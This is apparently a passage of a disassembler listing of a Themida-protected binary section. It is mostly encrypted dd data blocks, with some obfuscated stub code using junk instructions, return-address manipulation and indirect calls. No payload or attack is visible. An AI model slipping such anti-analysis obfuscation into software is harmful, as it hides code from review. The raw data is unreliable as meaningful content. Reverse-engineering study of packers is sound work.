		dd 22EC24F3h, 7F2F7958h, 26C848B5h, 26C8609Fh, 22EC2412h
		dd 282F71C2h, 0B8EDC42Ch, 4ACCDE8Fh, 0DA532BBAh, 0CD99F1h
		dd 0E2E623EDh, 218CA011h, 2286240Fh, 22EFCCD4h,	79CC24C3h
		dd 7E657F22h, 666D20D4h, 22F5205Ch, 71AF243Ch, 0FBD9E1DDh
		dd 0AB24750Eh, 0F3C68D02h, 0A72AD8C4h, 253D1554h, 0E46C73BFh
		dd 26047BCFh, 0E6EC243Ch, 9C53A472h, 51A4B66Ch,	22E7CDD7h
		dd 76724C3h, 1B9F7DA8h,	0B7C581D1h, 6A8AF12h, 22E9CC38h
		dd 5B8C241Eh, 0CBEE8096h, 22EC2480h, 92D86E3Dh,	7BD84C0Bh
		dd 70BC247Bh, 13E3F7F3h, 7827AF5Ah, 6A8AD46h, 22FDCC0Bh
		dd 478C2487h, 288EEADAh, 5599CCA9h, 0D128B7A3h,	7C7937F0h
		dd 24632B64h, 0A9EC241Eh, 0F3E4F59Ah, 1359DB80h, 48EBF5CBh
		dd 210476E1h, 2EC24F0h,	0ABB6E722h, 0A3E80068h,	3FE8005Ah
		dd 60EC240Fh, 0BA97E7D5h, 1C3E83B3h, 8CD42BADh,	33F991F1h
		dd 0A76123A9h, 253882D6h, 0CAB92474h, 22EC240Ch, 7F2F79A7h
		dd 26C8484Ah, 26C86060h, 22EC24ECh, 892F713Dh, 2870B8F2h
		dd 93BE4A7Ch, 22EC22E6h, 1B09FD87h, 0DDDB6E50h,	24692B31h
		dd 9EC24F0h, 0F3FBDDC5h, 62CA73Bh, 351B997h, 0A76523DEh
		dd 253D0F92h, 0CABC24A9h, 22EC24E2h, 7A2F7CD0h,	26C860F1h
		dd 26C860BDh, 22EC2406h, 0E2F744Fh, 3D0A52D4h, 2E71A148h
		dd 2E042330h, 29EC24F0h, 7B62C28Fh, 20868F06h, 0AB16BFAAh
		dd 0F3F6B582h, 0BF677B80h, 253D0A22h, 0CABA248Bh, 22EC24F3h
		dd 7C2F7A58h, 26C850B5h, 26C8609Fh, 22EC2416h, 0AD2F72C1h
		dd 0CE422B51h, 87710DFCh, 0BEBF5D4h, 0F3C3A9EDh, 0B7C7673Bh
		dd 253D035Bh, 9F673F84h, 253D049Ah, 0B7E53F48h,	253D0EB0h
		dd 0FADF3F7Bh, 0CABC2412h, 22EC243Fh, 7A2F7C3Eh, 26C86086h
		dd 26C86006h, 22EC24DAh, 9C2F74A1h, 32ED127Ch, 0EF71AD2Bh
		dd 0ABEBF50Dh, 0F3C9E99Bh, 9769E208h, 65EBF5B6h, 1169B148h
		dd 91842330h, 723D8A1Eh, 22E1CC2Ah, 53BD243Ch, 0AD31EC52h
		dd 29F3AFDFh, 7D7147D8h, 0A98A15CCh, 0A3B47E10h, 11F600C4h
		dd 22864208h, 22EFCC6Ah, 7CCC241Eh, 56657ACCh, 666D20A3h
		dd 22F420E7h, 74AA24E1h, 4DABD233h, 25048C8Eh, 0A1EC243Ch
		dd 14CA46CCh, 97671424h, 253D249Eh, 1359DB99h, 48EBF5E9h
		dd 210472F0h, 2EC2478h,	0ABB2E762h, 0A3E8006Ah,	34E8004Bh
		dd 64EC2487h, 7627E795h, 0C869A9A6h, 0ABEBF056h, 0F3F855CDh
		dd 483CDB3Bh, 2104761Eh, 2EC240Fh, 0ABB6E7DDh, 0A3E80097h
		dd 3EE800A5h, 60EC24F0h, 0E0A9E72Ah, 0FEEEA6D6h, 0ABBFC145h
		dd 0F3DEE58Ah, 77EC4E80h, 22EC272Bh, 0E1B104E1h, 680ADADh
		dd 6A8A57Ch, 22EC3F38h,	0E1B9611Eh, 0B9E78F8Eh,	0D8E16104h
		dd 730A427Ch, 0A38A64BFh, 0A923CE3Ah, 72EC4E78h, 22EC27D4h
		dd 0E1B4041Eh, 6A8AD57h, 6A8A583h, 22EC3FC7h, 0E1BC64E1h
		dd 0D1FC4593h, 0A730D06Ch, 0D26624B7h, 3DDDA197h, 228623DEh
		dd 22EFCCD2h, 7FCC24C3h, 4E657922h, 666D20D4h, 22F1205Ch
		dd 77A9243Ch, 0A0840CDDh, 0C02AC87h, 4498E2E9h,	42E5DB79h
		dd 3225A16Ah, 0A7652321h, 253D3995h, 23B2CD5Dh,	2286241Eh
		dd 22EFCC5Fh, 7ACC2487h, 66657C00h, 666D20C5h, 22FB20D4h
		dd 72AC2478h, 721F28FFh, 0AF8E9DA2h, 0A7615906h, 2538CEF3h
		dd 0CABC24A9h, 22EC24E2h, 7A2F7CD0h, 26C860F1h,	26C860BDh
		dd 22EC2404h, 512F744Fh, 18837FF9h, 0F86DEDA2h,	1E953797h
		dd 22EFA8FFh, 0A98A2478h, 0A8E374C6h, 22EC2410h, 22EBCD6Fh
		dd 0E3652487h, 0FBD83D18h, 26654503h, 77EC4ED4h, 22EC2790h
		dd 0E1B1043Ch, 680AD43h, 6A8A50Bh, 22EC3D83h, 0E1B961C3h
		dd 19E212C2h, 0AB14D0F3h, 0F3F1D5F5h, 8F79DB3Bh, 0CBEBF52Ch
		dd 22EC2409h, 0ADF7A9B2h, 9FC5DC0Dh, 253D0580h,	0C896B97Dh
		dd 0A2BA23ACh, 72B370CEh, 3E65DC95h, 3604442Bh,	30EC2487h
		dd 788DE953h, 2EE0E257h, 0BBDBAE82h, 1E7FCF42h,	2D31F608h
		dd 0CBB2EEA9h, 22EC2408h, 5A1672E4h, 43711809h,	70BC4471h
		dd 0E47C2749h, 0CBDD2B3Fh, 22EC2432h, 51FA27E3h, 617AF03h
		dd 8F2E6262h, 7AB61B7Ch, 21BB9E87h, 0A98A7491h,	0CF6CB48Bh
		dd 2779DB98h, 0CAEBF50Eh, 22EC2407h, 0E6F4F5C8h, 0A2DA6925h
		dd 0FD1B1E0h, 0ABB32321h, 0F3C731FDh, 74EC4E3Bh, 22EC27F6h
		dd 0E1B2040Fh, 698ADD9h, 6A8A5C7h, 22EC3FE5h, 0E1BA62F0h
		dd 584A34F6h, 14CEF745h, 1359A1D8h, 0ABBF23DEh,	0F3EACD02h
		dd 22E8CCC4h, 0A69324E1h, 9D8A8E77h, 0A9BCAA48h, 0CAE80078h
		dd 22EC2419h, 44430B8Ah, 44CF74C7h, 0A9B6EA48h,	2DBE74E1h
		dd 0ABB47EC1h, 7AE8003Ch, 3E91A9B7h, 971323CFh,	253D2C3Eh
		dd 965910Ch, 0A7612312h, 2538820Bh, 55B0CB71h, 0F21356BBh
		dd 0CABA2456h, 22EC241Dh, 7C2F7A2Fh, 26C8500Eh,	26C86042h
		dd 22EC24FAh, 332F72B6h, 28593E2Fh, 98228ABDh, 67E6BBE1h
		dd 3F05A186h, 22862356h, 22EFCC90h, 79CC24E1h, 7E657F33h
		dd 666D205Ch, 22F82018h, 71AF241Eh, 2E0530CCh, 0C2EC2487h
		dd 3230157Ah, 4641485h,	0E4DEAC4Ch, 0F3DD91FDh,	4A19633Bh
		dd 4F704E1Ch, 266DF484h, 0F747AAA3h, 75EC4EF0h,	22EC2709h
		dd 0E1B304F0h, 690AD27h, 6A8A538h, 22EC311Ah, 0E1BB630Fh
		dd 97134F1Bh, 253D2CF2h, 0CAB9248Bh, 22EC24F3h,	7F2F7958h
		dd 26C848B5h, 26C8609Fh, 22EC2419h, 52F71C2h, 0A38A6298h
		dd 0CBF06F36h, 22EC24FCh, 0FF004ACCh, 6C178137h, 4300F6E3h
		dd 8406A182h, 22862353h, 22EFCC96h, 7FCC24E1h, 4E657933h
		dd 666D205Ch, 22F92018h, 77A9241Eh, 21E1FECCh, 0F3C9D132h
		dd 0F45642C4h, 443CDB47h, 0AB578C4Eh, 0F3DD81FDh, 70EC4E3Bh
		dd 22EC27F6h, 0E1B6040Fh, 6B8ADDDh, 6A8A5C7h, 22EC3DE5h
		dd 0E1BE66F0h, 0A6C8C89Fh, 48538EA7h, 0E497FD2Ch, 0F3DD918Ah
		dd 22867780h, 22EFCC96h, 7FCC24E1h, 4E657933h, 666D205Ch
		dd 22F62018h, 77A9241Eh, 41D116CCh, 0DB93E2BCh,	0FBDA9EAh
		dd 91842330h, 42BC578Fh, 62229E1Eh, 22EC30D5h, 89C3251Eh
		dd 8EB5AC86h, 232114C8h, 4C041F3Eh, 0D709C979h,	266D45C3h
		dd 0E733F95Ch, 74EC4E74h, 22EC27F6h, 0E1B2040Fh, 698ADD9h
		dd 6A8A5C7h, 22EC3CE5h,	0E1BA62F0h, 0AA92EA05h,	1359DB88h
		dd 48EBF516h, 2104720Fh, 2EC2487h, 0ABB2E79Dh, 0A3E80095h
		dd 35E800B4h, 64EC2478h, 0EE10E76Ah, 9FDF1F29h,	253D241Ah
		dd 22EC346Eh, 0EC24E3C3h, 0F74F9402h, 0FB6242A5h, 0D346940Ch
		dd 0C869A91Dh, 2DEBF0B8h, 0F213F6B8h, 3AB99186h, 0A38A2312h
		dd 0AB320D2Eh, 0F3F42575h, 5F79AD7Fh, 9BEBF52Fh, 3E146772h
		dd 1359A1C9h, 0CBBB2356h, 22EC24C9h, 0C98F89DFh, 28DA932Ah
		dd 2604ECBCh, 24EC243Ch, 727C204Ch, 2D18AE5Dh, 34682BB6h
		dd 0CAEC24C3h, 22EC24F1h, 0B66F78CCh, 0BFF9512Eh, 0E1E65BBDh
		dd 0EA0B15Dh, 72B47E51h
		dd 0A673513Dh, 6A8AF81h, 0D26742E5h, 0A6E3247Bh, 22EC2466h
		dd 2DBE745Ch, 0CBB47E2Fh, 22EC241Eh, 0E58DB431h, 0D8AFD65Dh
		dd 85920342h, 11EEC7F0h, 6665453Bh, 44BA2018h, 7AB6EF95h
		dd 0DBDC1BB6h, 1359DBDEh, 0A3EBF5CBh, 837C3236h, 0C869A9BFh
		dd 48EBF0DEh, 2104713Ch, 2EC241Eh, 0ABB1E752h, 0A3E800EBh
		dd 3BE80087h, 67EC24E1h, 8794E7A5h, 0B7A5AD32h,	3BADB90Dh
		dd 0F21323CFh, 0CABF2465h, 22EC2484h, 792F7FE3h, 26C87868h
		dd 26C86071h, 22EC246Fh, 0F62F777Fh, 44B7CD87h,	633FE58Eh
		dd 36F1A10Eh, 22862312h, 22EFCCB4h, 7FCC24F0h, 4E6579BBh
		dd 666D2018h, 22F7203Ah, 77A9240Fh, 3DC00644h, 0C922E421h
		dd 9769E2C6h, 61EBF5C1h, 0CABD2412h, 22EC243Fh,	7B2F7D3Eh
		dd 26C86886h, 26C86006h, 22EC24DBh, 7A2F75A0h, 0EAB9ABF8h
		dd 22EC3791h, 211F893Ch, 9F317272h, 0AAB34E49h,	0D447E2D8h
		dd 1B57F99Fh, 7D9B968h,	3D842321h, 2DAA33F7h, 22EC24B0h
		dd 6E8A51Eh, 5494C506h,	0CABC24EDh, 22EC24C0h, 7A2F7CC1h
		dd 26C86079h, 26C860F9h, 22EC2425h, 0C52F745Eh,	0CE119CEDh
		dd 4F61071Dh, 0A9EBF5F0h, 1359DB2Fh, 0ABEBF5F8h, 0F3F955F5h
		dd 0C869A93Bh, 48EBF0B8h, 2104710Fh, 2EC2487h, 0ABB1E79Eh
		dd 0A3E8008Dh, 36E800B4h, 67EC2478h, 2386E769h,	0F3DC918Bh
		dd 743CDB08h, 9F69ADE7h, 0A2EBF5EEh, 7C8DD33Dh,	3595A179h
		dd 228623A9h, 22EFCC6Ah, 7CCC241Eh, 56657ACCh, 666D20A3h
		dd 22F920E7h, 74AA24E1h, 0B216133h, 0F3FA0DC5h,	4869A93Bh
		dd 48EBF0F4h, 2104750Fh, 2EC2487h, 0ABB5E79Ah, 0A3E800ADh
		dd 39E800B4h, 63EC2478h, 0DE5EE76Dh, 5F8608E1h,	0A38A368Bh
		dd 0B2EC2745h, 0D4564293h, 2286B4D3h, 22EFCCA6h, 7CCC2478h
		dd 56657AFFh, 666D203Ah, 22F4202Bh, 74AA2487h, 116E3100h
		dd 0B7135E22h, 253D165Dh, 0CABB2412h, 22EC243Fh, 7D2F7B3Eh
		dd 26C85886h, 26C86006h, 22EC24D9h, 552F73A6h, 1148356h
		dd 0AB8C1617h, 0F3C5E5B1h, 0B7710D19h, 43EBF519h, 2286FC0Ch
		dd 22EFCC94h, 7DCC24E1h, 5E657B33h, 666D205Ch, 22F82018h
		dd 75AB241Eh, 0CC6C66CCh, 7C69A966h, 48EBF029h,	210473E1h
		dd 2EC24F0h, 0ABB3E727h, 0A3E80040h, 3AE8005Ah,	65EC240Fh
		dd 7A5AE7D0h, 0A314B809h, 0A5B93037h, 97BDB4AAh, 0B2BC7D4Eh
		dd 0CAB92456h, 22EC241Dh, 7F2F792Fh, 26C8480Eh,	26C86042h
		dd 22EC24F5h, 592F71B5h, 4223AF1Eh, 0CC9A935h, 290423CFh
		dd 0AAEC240Fh, 0DC697FBBh, 1E55D188h, 2A0548FBh, 0AEC24F0h
		dd 7122DCF4h, 7B24DBC4h, 0CABCB77Fh, 22EC241Ch,	0C87CDD71h
		dd 1525EC8Bh, 0FBB4EEFh, 4E3572A0h, 786BEA9Ch, 0B713D1AFh
		dd 253D341Bh, 22EC2AE7h, 8639387h, 2E3B3124h, 645D34AEh
		dd 0A911E3A6h, 0F3F16DCDh, 0A7657E3Bh, 253D25DBh, 2D79990Eh
		dd 2B052356h, 32EC24C3h, 0E22B27DDh, 7CE9B68Dh,	2EDA1BFh
		dd 22E323EDh, 0AF67241Eh, 253D06B2h, 2329B178h,	0A7652312h
		dd 253D04DCh, 0ECDA97Bh, 0A76723A9h, 253D312Dh,	0DF16B993h
		dd 616523DBh, 5B51A986h, 0AFEBF5E4h, 0F611F054h, 22DF9DF7h
		dd 861F2478h, 225417D7h, 29EC241Eh, 0E0EF50CFh,	6667249Fh
		dd 0CABF28E7h, 22EC24E1h, 352FA5ABh, 0ABEC2478h, 0ABFC0060h
		dd 79F8005Ah, 901613B7h, 0A90CDB87h, 0DDE80087h, 0CA1CAF01h
		dd 22EC24F5h, 4AEE72E3h, 0DC674220h, 22864547h,	22EFCC5Fh
		dd 7ACC2487h, 66657C00h, 666D20C5h, 22F020D4h, 72AC2478h
		dd 21E69BFFh, 9879DDABh, 9F615122h, 2538CED9h, 0DCB4A94Eh
		dd 17542335h, 1174025Bh, 0F3DE35FDh, 0E3230F3Bh, 0A1228644h
		dd 7822EFCCh, 0FF7BCC24h, 3A6E657Dh, 2B666D20h,	8722F020h
		dd 0E983AD24h, 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 2D1742CEh
		dd 25D44F10h, 3C99D29h,	65E907D1h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0C09FC357h, 47C6AE5h, 22E3E081h, 0FE960h, 55520000h
		dd 0ADF0FC3Dh, 0CC8E03B5h, 3E5A1909h, 0A2B86604h, 61F96109h
		dd 0E7816060h, 25D0A7BDh, 61C4B261h, 0F560C3F9h, 8E8h
		dd 83090600h, 0F699CB73h, 0E28166A2h, 615A61ADh, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 3C2397C3h, 24C287A4h, 0F931EC82h, 3405BD83h,	750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0B9B8C08Bh, 89000004h
		dd 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0B9B85350h, 89000004h, 0D1201185h, 0B89D8D07h
		dd 0FF07D3DEh, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0BAD1C353h,	7E932A1h
		dd 14000000h, 0ABE67AC5h, 6E95256h, 76000000h, 0FA17A914h
		dd 6AC08B0Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 897C351h, 13E9F4h, 62580000h
		dd 0E1491DA4h, 0B1B0A188h, 238E10E6h, 63645125h, 7E9D0h
		dd 0B8210000h, 9B0645B2h, 0C18B40FCh, 2BB1B58Bh, 4EB07D1h
		dd 0
; ---------------------------------------------------------------------------
		jb	loc_5C665F
		jmp	loc_5C665F
; ---------------------------------------------------------------------------
		stosd
		movsd
		pop	ebx
		dec	esp
		mov	edx, 0CA17B91Eh
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 5FD0h
		db 9Eh,	9Ah, 0D5h
; ---------------------------------------------------------------------------


loc_5C665F:				; CODE XREF: Themida_:005C6644j
					; Themida_:005C664Aj
		push	0
		push	eax
		call	sub_5C666A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C666A	proc near		; CODE XREF: Themida_:005C6662p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C666A	endp

; ---------------------------------------------------------------------------
		dw 4E73h
		dd 8D68E8E5h, 0D1136185h, 0FDB58B07h, 5007D120h, 89F98B66h
		dd 0BE92404h, 1000000h,	0DD520290h, 5AA3BF81h, 6ADC00h
		dd 6A006AF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 66EFC355h, 8D2A6800h, 0D501A285h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 25A6A51Ch, 199D2926h, 8907D115h,	0D1270D9Dh
		dd 5C08307h, 0EE95090h,	9A000000h, 0A52A0566h, 906A21E4h
		dd 2941C635h, 6A90E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1D987EC3h, 0D7818695h, 434EBDA3h
		dd 2C11B58Bh, 6A07D1h, 2F1D8D89h, 6A07D1h, 0E195FFF8h
		dd 0F07D11Dh, 682h, 91BD0B00h, 8D07D100h, 0D4D5669Dh, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 34406A71h, 75BD8Bh, 0D3FF07D1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0F2C35343h,	0A8EF8239h, 84F943Ah
		dd 85896056h, 7D13119h,	16999503h, 5E6107D1h, 0C84CBF66h
		dd 292185FFh, 860F07D1h, 14h, 8E8h, 48275D00h, 64987F9Fh
		dd 5DBD8B38h, 5F07D127h, 709E9h, 0E800h, 815D0000h, 0D501ACEDh
		dd 0BE807h, 54870000h, 9D84F6E3h, 6D96B73Ah, 8D0950B2h
		dd 7D130A9h, 0B58B5E5Eh, 7D13055h, 2001BD81h, 7D007D1h
		dd 860F0000h, 16Ah, 3B42E3BEh, 0E59D8B46h, 8B07D120h, 0D128D9B5h
		dd 0E38107h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 72CFC350h, 36AF3F7Bh
		dd 0F88B6632h, 31558D89h, 0DB0B07D1h, 0A7850Fh,	0BD8B0000h
		dd 7D12F11h, 2BD83h, 0F0007D5h,	5884h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0BE695405h, 0F78B66E8h, 98E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0A9B39A64h
		dd 0C6816634h, 6E97AF2h, 10000000h, 886CBD13h, 285C7C2h
		dd 107D500h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 331CC356h, 2126E735h
		dd 0F2FCC94h, 32E9F9B7h, 1000000h, 0D12F3D9Dh, 285C707h
		dd 7D500h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5D57C357h, 51BF6663h, 0E59D8D47h
		dd 0F07D120h, 1185h, 0CE900h, 4A3B0000h, 4ACBEE4Fh, 0F5DB5D7Fh
		dd 23815AC9h, 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 63C35141h, 0E984824Ch, 0F18B8758h, 7C98589h
		dd 8C6607D1h, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9EC3A50h,	0BF668079h, 0C3F6AA38h
		dd 62840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0C853C356h,	0CC0E816Ah
		dd 0A1B58B89h, 0FF07D113h, 0D101C595h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 1B86A754h, 90FFB70Fh, 0F88B6650h, 0BA666090h, 8D8B198Fh
		dd 7D1111Dh, 3FDE961h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 368D5EC3h, 5E9C0h, 4EDB0000h
		dd 0B079BB1Dh, 10870F00h, 0E9000000h, 0Bh, 9A5ABD89h, 9D72D1C9h
		dd 0E615ED88h, 55006A70h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 189EED73h, 0F259960Bh
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0B9A8C4C3h, 9D8982A9h, 7D1247Dh, 6AD8B60Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 96A6C355h, 0E9E7E1CEh, 0Bh, 4FA557D2h, 0F4A6F213h
		dd 0BACE97F6h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	14C35646h, 94042176h, 0D71404A1h, 1DB58975h, 8B07D127h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 858942E1h, 7D11475h, 3304E8C1h, 0D10709B5h
		dd 0E2F76607h, 6860Fh, 0B58B0000h, 7D11FF9h, 8B50D82Bh
		dd 241C89F8h, 0ABB5BF66h, 2001B5FFh, 0B58B07D1h, 7D12219h
		dd 5595FFh, 800F07D1h, 19h, 14E9h, 0A27C0800h, 0D139C3C8h
		dd 51147EC2h, 7C9921E5h, 20EFCA5Dh, 0B0F08B57h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 2FCEBCACh, 0E9B1141Eh, 12h, 95D7B4BEh, 0F2321588h, 7FBB2B6Fh
		dd 3A219484h, 70E63123h, 0E9F08B66h, 11h, 45A9FBDh, 7D399757h
		dd 0BCCE8B11h, 0CC847790h, 6A71E4BFh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 863AC352h
		dd 0D64CB7F0h, 0BE0EA74Ch, 34B796FBh, 830F613Ch, 207h
		dd 329DB529h, 0B60F07D1h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C9E68870h
		dd 32D2B3D5h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0D5B1D146h, 8BC38BABh
		dd 0D110F9B5h, 4E8C107h, 68E0Fh, 85890000h, 7D10081h, 66E2F766h
		dd 2B7056BFh, 6A58D8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 666433C3h, 29FB0FBFh, 0D120FD8Dh
		dd 0FD82B07h, 16688h, 7B900h, 0BF0F0000h, 0C183FEh, 16B5B529h
		dd 0D93B07D1h, 14D860Fh, 29520000h, 0D10ECD9Dh,	8C665F07h
		dd 7DB58BD9h, 0F607D119h, 840F04C1h, 0EBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 34C35141h, 536AE2D9h
		dd 0B9719414h, 0C595FF70h, 6A07D101h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D034C350h
		dd 6A5BE6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FBB850C3h, 0BD9D89D3h, 2B07D131h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 5653139Eh, 5FF0BF0Fh, 8343Dh, 4C860F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0BB5EC350h, 2F59BD8Bh, 6CE907D1h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EE8DC350h, 66803399h, 8B71F9BFh,	50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6ED1ADD4h, 8B0FCE07h, 0Bh, 58C0Fh, 81660000h, 0E9A9E4DFh
		dd 0Fh,	3458F021h, 8B1B090Eh, 5C339578h, 8B42A668h, 6AD88BC3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0BA13C357h, 0CB9A4CBBh, 243A5846h, 1C099D29h
		dd 85C707D1h, 7D103CDh,	7F6EDD1Bh, 0F05BD2Bh, 0C08B07D1h
		dd 4FCE8166h, 1BD814Fh,	0D007D120h, 0F000007h, 3285h, 185FF00h
		dd 6A07D120h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E39CC355h, 0F1B70F51h, 1890F5Fh,	0F9000000h
		dd 0FFFAB70Fh, 0D12001B5h, 8D8B6007h, 7D11A19h,	0ED850961h
		dd 0FF07D106h, 0D1005595h, 71B52907h, 9007D130h, 345678B8h
		dd 0DE816612h, 890FCD91h, 5, 93A14EBEh,	8A9D8D50h, 0E907D508h
		dd 0FFFFF8FDh, 208DB58Bh, 0C18B07D1h, 13E9h, 0ABEDAE00h
		dd 65CED2D7h, 0DD4A71A7h, 39F0C809h, 19171E70h,	4EBh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2F6BACC3h, 14C3F5F5h, 33E5F044h, 0D12601B5h,	91B58B07h
		dd 5607D114h, 61858D5Fh, 6A07D113h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1E6FC352h
		dd 22EFAD4h, 58CBA4D0h,	28B4E681h, 505000BCh, 6850Fh, 8D0F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		mov	[esp], eax
		jmp	loc_5C6F9A
; ---------------------------------------------------------------------------
		db 4Bh,	0F3h, 61h
		dd 9FDEC540h, 6AC7FDB5h, 0B807C8C6h
; ---------------------------------------------------------------------------
		test	al, 6Dh


loc_5C6F9A:				; CODE XREF: Themida_:005C6F84j
		push	0
		movsx	esi, dx
		push	0
		or	si, 4DEFh
		lea	eax, [ebp+7D50A20h]
		mov	[ebp+7D108C1h],	ecx
		add	eax, 5
		movsx	edi, di
		push	eax
		mov	di, 0EC20h
		mov	[esp], eax
		jmp	loc_5C6FCB
; ---------------------------------------------------------------------------
		inc	ecx
		retn	3D8Eh
; ---------------------------------------------------------------------------
		cmpsd
		cdq


loc_5C6FCB:				; CODE XREF: Themida_:005C6FC0j
		push	0
		push	0
		push	edi
		mov	[ebp+7D118F1h],	esi
		pop	edi
		call	dword ptr [ebp+7D11DE1h]
		push	0
		push	edx
		call	sub_5C6FE8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6FE8	proc near		; CODE XREF: Themida_:005C6FE0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C6FE8	endp

; ---------------------------------------------------------------------------
		dd 8166388Fh, 66191AF6h, 8DDFD1BFh, 0D4D5669Dh,	0E95F5107h
		dd 11h,	6564A3F1h, 8AED87D5h, 0AC8D2CF8h, 19EAC323h, 8BD3FFC5h
		dd 0D12C91BDh, 2185FF07h, 6A07D129h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 129EC353h
		dd 68F0Fh, 8D890000h, 7D12739h,	1875B509h, 23E907D1h, 0E800000Fh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D50A2Ah
		jmp	loc_5C707C
; ---------------------------------------------------------------------------
		dec	edx
		xchg	eax, edi
		mov	dl, 0BAh
		add	al, 37h
		jecxz	short loc_5C70E7


loc_5C707C:				; CODE XREF: Themida_:005C706Fj
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C7227
		jmp	loc_5C70A3
; ---------------------------------------------------------------------------
		db 25h,	0ABh, 4Fh
		dd 0C05436B9h, 23D22A40h, 236B1089h
		db 0B0h, 63h, 3Ch
; ---------------------------------------------------------------------------


loc_5C70A3:				; CODE XREF: Themida_:005C708Cj
		mov	ebx, [ebp+7D125A9h]
		push	0
		push	edi
		call	sub_5C70B4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C70B4	proc near		; CODE XREF: Themida_:005C70ACp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C70B4	endp

; ---------------------------------------------------------------------------
		dd 14D11384h, 0E5B52962h, 8107D117h, 100E3h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh
; ---------------------------------------------------------------------------
		add	al, 81h
		inc	esp


loc_5C70E7:				; CODE XREF: Themida_:005C707Aj
		and	al, 4
		sbb	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 0C3564600h, 120AACDEh, 3662C28Dh, 89BD2B8Fh,	0B07D11Bh
